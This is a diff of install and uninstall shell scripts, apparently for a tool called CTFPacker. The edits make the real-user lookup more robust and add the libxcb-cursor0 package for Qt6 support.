REAL_USER="${SUDO_USER:-${USER:-$(logname 2>/dev/null || whoami)}}"
REAL_HOME="$(getent passwd "$REAL_USER" | cut -d: -f6)"
PIPX_BIN="$REAL_HOME/.local/bin"
@@ -85,6 +85,7 @@ APT_PKGS=(
python3 # Python 3 interpreter
pipx # Isolated Python app installer
osslsigncode # PE code signing (optional, needed for -pfx)
libxcb-cursor0 # XCB cursor support required by Qt6 on some systems
)
log_info "Updating package lists..."
+2 -1
View File
@@ -33,7 +33,7 @@ if ! command -v apt-get &>/dev/null; then
fi
# ── Resolve the real (non-root) user ─────────────────────────────────────────
REAL_USER="${SUDO_USER:-$USER}"
REAL_USER="${SUDO_USER:-${USER:-$(logname 2>/dev/null || whoami)}}"
REAL_HOME="$(getent passwd "$REAL_USER" | cut -d: -f6)"
PIPX_BIN="$REAL_HOME/.local/bin"
@@ -164,6 +164,7 @@ APT_PKGS=(
mingw-w64
osslsigncode
pipx
libxcb-cursor0
)
echo -e "${YELLOW}${BOLD}The following APT packages were installed by CTFPacker:${NC}"